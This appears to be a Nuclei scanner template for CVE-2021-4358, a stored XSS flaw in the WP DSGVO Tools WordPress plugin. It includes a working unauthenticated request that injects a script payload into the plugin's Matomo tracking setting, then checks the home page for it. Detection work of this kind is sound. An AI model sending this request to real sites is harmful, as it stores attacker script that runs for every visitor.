The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an unknown parameter in versions up to, and including, 3.1.23 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
id: CVE-2021-4358
info:
name: WP DSGVO Tools (GDPR) <= 3.1.22 - Unauthenticated Stored Cross-Site Scripting
author: DhiyaneshDk
severity: high
description: |
The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an unknown parameter in versions up to, and including, 3.1.23 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
impact: |
Arbitrary JavaScript execution in the browser of every visitor to the site, enabling session theft, admin
account takeover, and site defacement.
remediation: |
Update WP DSGVO Tools (GDPR) to 3.1.24 or later, which escapes the integration tracking code and restricts the
integration save handlers.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-4358
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/shapepress-dsgvo
- https://patchstack.com/database/wordpress/plugin/shapepress-dsgvo/vulnerability/
- https://plugins.trac.wordpress.org/changeset?old_path=/shapepress-dsgvo/tags/3.1.23&new_path=/shapepress-dsgvo/tags/3.1.24
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2021-4358
epss-score: 0.00779
epss-percentile: 0.56224
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: shapepress
product: shapepress-dsgvo
framework: wordpress
publicwww-query: "/wp-content/plugins/shapepress-dsgvo/"
tags: cve,cve2021,wordpress,wp-plugin,shapepress-dsgvo,dsgvo,xss,unauth,intrusive,vkev
variables:
marker: "{{to_lower(rand_text_alpha(14))}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=SPDSGVO-integration-matomo&matomo_enable=1&matomo_tag_number=1&matomo_implementationMode=on-premises&matomo_code=alert(document.domain)//{{marker}}
matchers:
- type: dsl
dsl:
- "status_code == 302 || status_code == 200"
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert(document.domain)//{{marker}}"
- type: status
status:
- 200
# digest: 4a0a004730450220622d50fb2b00e8235a89922b845af79ccede9b1c407305dc97572dc53852c805022100f1706d2b2ac2f7bfb7c26abe9fa378e2dd19d0776693342eb79c35a7789c59b1:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.